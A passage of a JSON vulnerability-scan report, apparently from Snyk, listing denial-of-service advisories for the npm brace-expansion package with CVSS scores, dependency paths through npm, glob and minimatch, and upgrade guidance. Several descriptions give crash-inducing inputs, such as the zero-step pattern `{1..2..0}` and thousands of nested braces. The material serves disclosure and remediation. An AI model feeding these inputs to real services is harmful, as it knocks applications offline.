"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
